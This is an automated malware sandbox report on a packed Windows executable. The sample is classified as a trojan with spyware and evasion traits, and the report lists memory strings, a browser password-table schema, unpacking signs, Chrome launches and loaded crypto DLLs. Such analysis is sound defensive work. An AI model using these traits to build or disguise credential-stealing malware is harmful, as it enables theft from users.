Source: GxX48twWHA.exe, 00000000.00000003.2046923164.00000000058F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2062291278.0000000005FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058021598.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051027537.0000000005F70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2055233361.00000000060A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049033830.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049258732.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051925780.000000000604C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2048207444.0000000005F3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000002.2177457079.0000000006416000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2057109023.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2059625088.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2055096209.0000000005F96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047989488.0000000005F41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047022219.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2094445705.0000000005A86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2059074188.0000000005FCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2050825912.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058902730.0000000005E96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2045339459.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2057705101.0000000005FB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049371238.0000000005F51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2059852164.0000000005FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2055407878.0000000005EA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058173719.00000000060E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053622480.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049978987.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052393597.0000000005F88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049501067.0000000006014000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054152297.000000000608F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054547590.00000000060A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2062002151.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2057871693.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047704047.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058299530.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2060301633.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047601535.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2057498726.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054726775.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2048318540.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058735882.0000000005FCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047789691.0000000005F43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053882811.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053478969.0000000005F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054857805.0000000005F9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047215172.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2057282244.0000000005FB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053354282.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2048107289.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049629619.0000000005EA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052514896.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054963320.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2050705815.000000000601F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049745735.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051642734.0000000005E96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051407245.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2060790357.0000000005E9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2046811764.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2055648701.0000000005FAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2061786424.0000000006129000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2061097775.0000000005FE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2059416878.00000000060FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2056937179.00000000060C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051279888.0000000005F6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053106910.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2050583273.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe

Source: GxX48twWHA.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: GxX48twWHA.exe

Static PE information: Section: ZLIB complexity 0.9995085273692811

Source: GxX48twWHA.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@17/7

Source: C:\Users\user\Desktop\GxX48twWHA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GxX48twWHA.exe, 00000000.00000003.1856636161.0000000005A81000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: GxX48twWHA.exe	Virustotal: Detection: 52%
Source: GxX48twWHA.exe	ReversingLabs: Detection: 68%

Source: GxX48twWHA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: GxX48twWHA.exe	String found in binary or memory: FRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNePTX

Source: C:\Users\user\Desktop\GxX48twWHA.exe

File read: C:\Users\user\Desktop\GxX48twWHA.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GxX48twWHA.exe "C:\Users\user\Desktop\GxX48twWHA.exe"
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1980,i,10270169836540111094,11000542217365241876,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1904,i,2015281234789072614,15298552563743304732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1980,i,10270169836540111094,11000542217365241876,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1904,i,2015281234789072614,15298552563743304732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: GxX48twWHA.exe

Static file information: File size 3011072 > 1048576

Source: GxX48twWHA.exe

Static PE information: Raw size of rvemorut is bigger than: 0x100000 < 0x2b5600

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GxX48twWHA.exe, 00000000.00000002.2177427446.0000000006412000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\GxX48twWHA.exe

Unpacked PE file: 0.2.GxX48twWHA.exe.d10000.0.unpack :EW;.rsrc :W;.idata :W;rvemorut:EW;mlamofku:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;rvemorut:EW;mlamofku:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: GxX48twWHA.exe

Static PE information: real checksum: 0x2e683c should be: 0x2e2a3c

Source: GxX48twWHA.exe	Static PE information: section name:
Source: GxX48twWHA.exe	Static PE information: section name: .rsrc
Source: GxX48twWHA.exe	Static PE information: section name: .idata
Source: GxX48twWHA.exe	Static PE information: section name: rvemorut
Source: GxX48twWHA.exe	Static PE information: section name: mlamofku
Source: GxX48twWHA.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
